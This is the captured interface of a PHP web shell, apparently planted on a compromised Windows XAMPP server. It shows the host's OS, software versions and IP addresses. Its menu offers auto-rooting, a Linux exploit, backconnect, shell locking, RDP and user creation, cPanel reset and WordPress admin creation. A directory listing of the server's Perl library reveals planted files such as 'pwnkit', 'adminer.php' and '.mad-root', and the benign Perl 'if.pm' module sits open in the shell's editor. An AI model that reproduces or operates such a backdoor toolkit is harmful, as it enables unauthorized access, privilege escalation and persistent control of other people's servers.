Windows NT IZOXMIX7871CBCZ 6.3 build 9600 (Windows Server 2012 R2 Datacenter Edition) AMD64
Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
: 172.23.17.241 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.12
Administrator
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
[ C ]
C: /
xampp /
perl /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
Algorithm
[ DIR ]
drwxrwxrwx
App
[ DIR ]
drwxrwxrwx
Archive
[ DIR ]
drwxrwxrwx
Array
[ DIR ]
drwxrwxrwx
Attribute
[ DIR ]
drwxrwxrwx
B
[ DIR ]
drwxrwxrwx
CORE
[ DIR ]
drwxrwxrwx
CPAN
[ DIR ]
drwxrwxrwx
Capture
[ DIR ]
drwxrwxrwx
Carp
[ DIR ]
drwxrwxrwx
Class
[ DIR ]
drwxrwxrwx
Compress
[ DIR ]
drwxrwxrwx
Config
[ DIR ]
drwxrwxrwx
DBM_Filter
[ DIR ]
drwxrwxrwx
Data
[ DIR ]
drwxrwxrwx
Devel
[ DIR ]
drwxrwxrwx
Digest
[ DIR ]
drwxrwxrwx
Encode
[ DIR ]
drwxrwxrwx
Exporter
[ DIR ]
drwxrwxrwx
ExtUtils
[ DIR ]
drwxrwxrwx
File
[ DIR ]
drwxrwxrwx
Filter
[ DIR ]
drwxrwxrwx
Getopt
[ DIR ]
drwxrwxrwx
HTML
[ DIR ]
drwxrwxrwx
HTTP
[ DIR ]
drwxrwxrwx
Hash
[ DIR ]
drwxrwxrwx
I18N
[ DIR ]
drwxrwxrwx
IO
[ DIR ]
drwxrwxrwx
IPC
[ DIR ]
drwxrwxrwx
JSON
[ DIR ]
drwxrwxrwx
List
[ DIR ]
drwxrwxrwx
Locale
[ DIR ]
drwxrwxrwx
MIME
[ DIR ]
drwxrwxrwx
MRO
[ DIR ]
drwxrwxrwx
Math
[ DIR ]
drwxrwxrwx
Memoize
[ DIR ]
drwxrwxrwx
Module
[ DIR ]
drwxrwxrwx
Net
[ DIR ]
drwxrwxrwx
Params
[ DIR ]
drwxrwxrwx
Parse
[ DIR ]
drwxrwxrwx
Perl
[ DIR ]
drwxrwxrwx
PerlIO
[ DIR ]
drwxrwxrwx
Pod
[ DIR ]
drwxrwxrwx
Regexp
[ DIR ]
drwxrwxrwx
Scalar
[ DIR ]
drwxrwxrwx
Search
[ DIR ]
drwxrwxrwx
Software
[ DIR ]
drwxrwxrwx
Sub
[ DIR ]
drwxrwxrwx
Sys
[ DIR ]
drwxrwxrwx
TAP
[ DIR ]
drwxrwxrwx
Term
[ DIR ]
drwxrwxrwx
Test
[ DIR ]
drwxrwxrwx
Test2
[ DIR ]
drwxrwxrwx
Text
[ DIR ]
drwxrwxrwx
Thread
[ DIR ]
drwxrwxrwx
Tie
[ DIR ]
drwxrwxrwx
Time
[ DIR ]
drwxrwxrwx
Try
[ DIR ]
drwxrwxrwx
URI
[ DIR ]
drwxrwxrwx
Unicode
[ DIR ]
drwxrwxrwx
User
[ DIR ]
drwxrwxrwx
Win32API
[ DIR ]
drwxrwxrwx
auto
[ DIR ]
drwxrwxrwx
autodie
[ DIR ]
drwxrwxrwx
encoding
[ DIR ]
drwxrwxrwx
overload
[ DIR ]
drwxrwxrwx
pods
[ DIR ]
drwxrwxrwx
threads
[ DIR ]
drwxrwxrwx
unicore
[ DIR ]
drwxrwxrwx
version
[ DIR ]
drwxrwxrwx
warnings
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-rw-rw-
.packlist
90.29
KB
-rw-rw-rw-
AnyDBM_File.pm
2.56
KB
-rw-rw-rw-
AutoLoader.pm
15.43
KB
-rw-rw-rw-
AutoSplit.pm
19.18
KB
-rw-rw-rw-
B.pm
28.78
KB
-rw-rw-rw-
Benchmark.pm
30.3
KB
-rw-rw-rw-
CORE.pod
3.11
KB
-rw-rw-rw-
CPAN.pm
142.98
KB
-rw-rw-rw-
Carp.pm
35.12
KB
-rw-rw-rw-
Config.pm
3.29
KB
-rw-rw-rw-
Config.pod
258.26
KB
-rw-rw-rw-
Config_git.pl
421
B
-rw-rw-rw-
Config_heavy.pl
37.27
KB
-rw-rw-rw-
Cwd.pm
21.43
KB
-rw-rw-rw-
DB.pm
18.48
KB
-rw-rw-rw-
DBM_Filter.pm
14.05
KB
-rw-rw-rw-
Digest.pm
10.96
KB
-rw-rw-rw-
DirHandle.pm
2.04
KB
-rw-rw-rw-
Dumpvalue.pm
17.25
KB
-rw-rw-rw-
DynaLoader.pm
25.4
KB
-rw-rw-rw-
Encode.pm
31.33
KB
-rw-rw-rw-
English.pm
4.65
KB
-rw-rw-rw-
Env.pm
5.39
KB
-rw-rw-rw-
Errno.pm
92.68
KB
-rw-rw-rw-
Exporter.pm
18.36
KB
-rw-rw-rw-
Fatal.pm
57.7
KB
-rw-rw-rw-
Fcntl.pm
3.95
KB
-rw-rw-rw-
FileCache.pm
5.42
KB
-rw-rw-rw-
FileHandle.pm
6.63
KB
-rw-rw-rw-
FindBin.pm
4.54
KB
-rw-rw-rw-
GDBM_File.pm
2.03
KB
-rw-rw-rw-
IO.pm
1.42
KB
-rw-rw-rw-
Internals.pod
2.51
KB
-rw-rw-rw-
Memoize.pm
35.34
KB
-rw-rw-rw-
NDBM_File.pm
3.01
KB
-rw-rw-rw-
NEXT.pm
18.54
KB
-rw-rw-rw-
O.pm
4.19
KB
-rw-rw-rw-
ODBM_File.pm
2.9
KB
-rw-rw-rw-
Opcode.pm
15.85
KB
-rw-rw-rw-
POSIX.pm
19.87
KB
-rw-rw-rw-
POSIX.pod
78.81
KB
-rw-rw-rw-
PerlIO.pm
14.1
KB
-rw-rw-rw-
SDBM_File.pm
3.72
KB
-rw-rw-rw-
Safe.pm
24.77
KB
-rw-rw-rw-
SelectSaver.pm
1.05
KB
-rw-rw-rw-
SelfLoader.pm
17.27
KB
-rw-rw-rw-
Socket.pm
36.16
KB
-rw-rw-rw-
Storable.pm
48.75
KB
-rw-rw-rw-
Symbol.pm
4.69
KB
-rw-rw-rw-
Test.pm
29.34
KB
-rw-rw-rw-
Test2.pm
6.24
KB
-rw-rw-rw-
Thread.pm
8.09
KB
-rw-rw-rw-
UNIVERSAL.pm
6.44
KB
-rw-rw-rw-
URI.pm
33.95
KB
-rw-rw-rw-
Win32.pm
57.28
KB
-rw-rw-rw-
Win32CORE.pm
1.27
KB
-rw-rw-rw-
XSLoader.pm
11.37
KB
-rw-rw-rw-
_charnames.pm
33.35
KB
-rw-rw-rw-
adminer.php
465.43
KB
-rw-rw-rw-
attributes.pm
15.97
KB
-rw-rw-rw-
autodie.pm
12.14
KB
-rw-rw-rw-
autouse.pm
4.14
KB
-rw-rw-rw-
base.pm
10.7
KB
-rw-rw-rw-
bigint.pm
22.85
KB
-rw-rw-rw-
bignum.pm
20.64
KB
-rw-rw-rw-
bigrat.pm
15.78
KB
-rw-rw-rw-
blib.pm
2.01
KB
-rw-rw-rw-
bytes.pm
3.65
KB
-rw-rw-rw-
bytes_heavy.pl
758
B
-rw-rw-rw-
charnames.pm
20.44
KB
-rw-rw-rw-
constant.pm
14.38
KB
-rw-rw-rw-
cpanfile-faq.pod
4.39
KB
-rw-rw-rw-
cpanfile.pod
3.39
KB
-rw-rw-rw-
deprecate.pm
4.5
KB
-rw-rw-rw-
diagnostics.pm
18.85
KB
-rw-rw-rw-
dumpvar.pl
15.19
KB
-rw-rw-rw-
encoding.pm
22.41
KB
-rw-rw-rw-
experimental.pm
7.39
KB
-rw-rw-rw-
feature.pm
18.56
KB
-rw-rw-rw-
fields.pm
9.25
KB
-rw-rw-rw-
filetest.pm
3.91
KB
-rw-rw-rw-
if.pm
3.53
KB
-rw-rw-rw-
integer.pm
3.18
KB
-rw-rw-rw-
less.pm
3.13
KB
-rw-rw-rw-
lib.pm
6.2
KB
-rw-rw-rw-
locale.pm
4.74
KB
-rw-rw-rw-
meta_notation.pm
2.07
KB
-rw-rw-rw-
mro.pm
9.66
KB
-rw-rw-rw-
newgetopt.pl
2.15
KB
-rw-rw-rw-
ok.pm
967
B
-rw-rw-rw-
open.pm
8.31
KB
-rw-rw-rw-
ops.pm
997
B
-rw-rw-rw-
overload.pm
52.05
KB
-rw-rw-rw-
overloading.pm
1.77
KB
-rw-rw-rw-
parent.pm
2.64
KB
-rw-rw-rw-
perl5db.pl
309.69
KB
-rw-rw-rw-
perlfaq.pm
77
B
-rw-rw-rw-
perlfaq.pod
22.19
KB
-rw-rw-rw-
perlfaq1.pod
14.09
KB
-rw-rw-rw-
perlfaq2.pod
9.16
KB
-rw-rw-rw-
perlfaq3.pod
36.72
KB
-rw-rw-rw-
perlfaq4.pod
86.87
KB
-rw-rw-rw-
perlfaq5.pod
54.21
KB
-rw-rw-rw-
perlfaq6.pod
38.61
KB
-rw-rw-rw-
perlfaq7.pod
36.93
KB
-rw-rw-rw-
perlfaq8.pod
48.77
KB
-rw-rw-rw-
perlfaq9.pod
14.86
KB
-rw-rw-rw-
perlglossary.pod
134.02
KB
-rw-rw-rw-
perllocal.pod
115.37
KB
-rw-rw-rw-
pwnkit
10.99
KB
-rw-rw-rw-
re.pm
24.8
KB
-rw-rw-rw-
sigtrap.pm
8.53
KB
-rw-rw-rw-
sort.pm
3.82
KB
-rw-rw-rw-
strict.pm
4.63
KB
-rw-rw-rw-
subs.pm
901
B
-rw-rw-rw-
threads.pm
37.06
KB
-rw-rw-rw-
utf8.pm
10.18
KB
-rw-rw-rw-
vars.pm
2.4
KB
-rw-rw-rw-
version.pm
3.47
KB
-rw-rw-rw-
version.pod
9.6
KB
-rw-rw-rw-
vmsish.pm
4.21
KB
-rw-rw-rw-
warnings.pm
49.35
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : if.pm
package if; $VERSION = '0.0608'; sub work { my $method = shift() ? 'import' : 'unimport'; unless (@_ >= 2) { my $type = ($method eq 'import') ? 'use' : 'no'; die "Too few arguments to '$type if' (some code returning an empty list in list context?)" } return unless shift; # CONDITION my $p = $_[0]; # PACKAGE (my $file = "$p.pm") =~ s!::!/!g; require $file; # Works even if $_[0] is a keyword (like open) my $m = $p->can($method); goto &$m if $m; } sub import { shift; unshift @_, 1; goto &work } sub unimport { shift; unshift @_, 0; goto &work } 1; __END__ =head1 NAME if - C<use> a Perl module if a condition holds =head1 SYNOPSIS use if CONDITION, "MODULE", ARGUMENTS; no if CONDITION, "MODULE", ARGUMENTS; =head1 DESCRIPTION =head2 C<use if> The C<if> module is used to conditionally load another module. The construct: use if CONDITION, "MODULE", ARGUMENTS; ... will load C<MODULE> only if C<CONDITION> evaluates to true; it has no effect if C<CONDITION> evaluates to false. (The module name, assuming it contains at least one C<::>, must be quoted when C<'use strict "subs";'> is in effect.) If the CONDITION does evaluate to true, then the above line has the same effect as: use MODULE ARGUMENTS; For example, the F<Unicode::UCD> module's F<charinfo> function will use two functions from F<Unicode::Normalize> only if a certain condition is met: use if defined &DynaLoader::boot_DynaLoader, "Unicode::Normalize" => qw(getCombinClass NFD); Suppose you wanted C<ARGUMENTS> to be an empty list, I<i.e.>, to have the effect of: use MODULE (); You can't do this with the C<if> pragma; however, you can achieve exactly this effect, at compile time, with: BEGIN { require MODULE if CONDITION } =head2 C<no if> The C<no if> construct is mainly used to deactivate categories of warnings when those categories would produce superfluous output under specified versions of F<perl>. For example, the C<redundant> category of warnings was introduced in Perl-5.22. This warning flags certain instances of superfluous arguments to C<printf> and C<sprintf>. But if your code was running warnings-free on earlier versions of F<perl> and you don't care about C<redundant> warnings in more recent versions, you can call: use warnings; no if $] >= 5.022, q|warnings|, qw(redundant); my $test = { fmt => "%s", args => [ qw( x y ) ] }; my $result = sprintf $test->{fmt}, @{$test->{args}}; The C<no if> construct assumes that a module or pragma has correctly implemented an C<unimport()> method -- but most modules and pragmata have not. That explains why the C<no if> construct is of limited applicability. =head1 BUGS The current implementation does not allow specification of the required version of the module. =head1 SEE ALSO L<Module::Requires> can be used to conditionally load one or modules, with constraints based on the version of the module. Unlike C<if> though, L<Module::Requires> is not a core module. L<Module::Load::Conditional> provides a number of functions you can use to query what modules are available, and then load one or more of them at runtime. The L<provide> module from CPAN can be used to select one of several possible modules to load based on the version of Perl that is running. =head1 AUTHOR Ilya Zakharevich L<mailto:ilyaz@cpan.org>. =head1 COPYRIGHT AND LICENCE This software is copyright (c) 2002 by Ilya Zakharevich. This is free software; you can redistribute it and/or modify it under the same terms as the Perl 5 programming language system itself. =cut
Close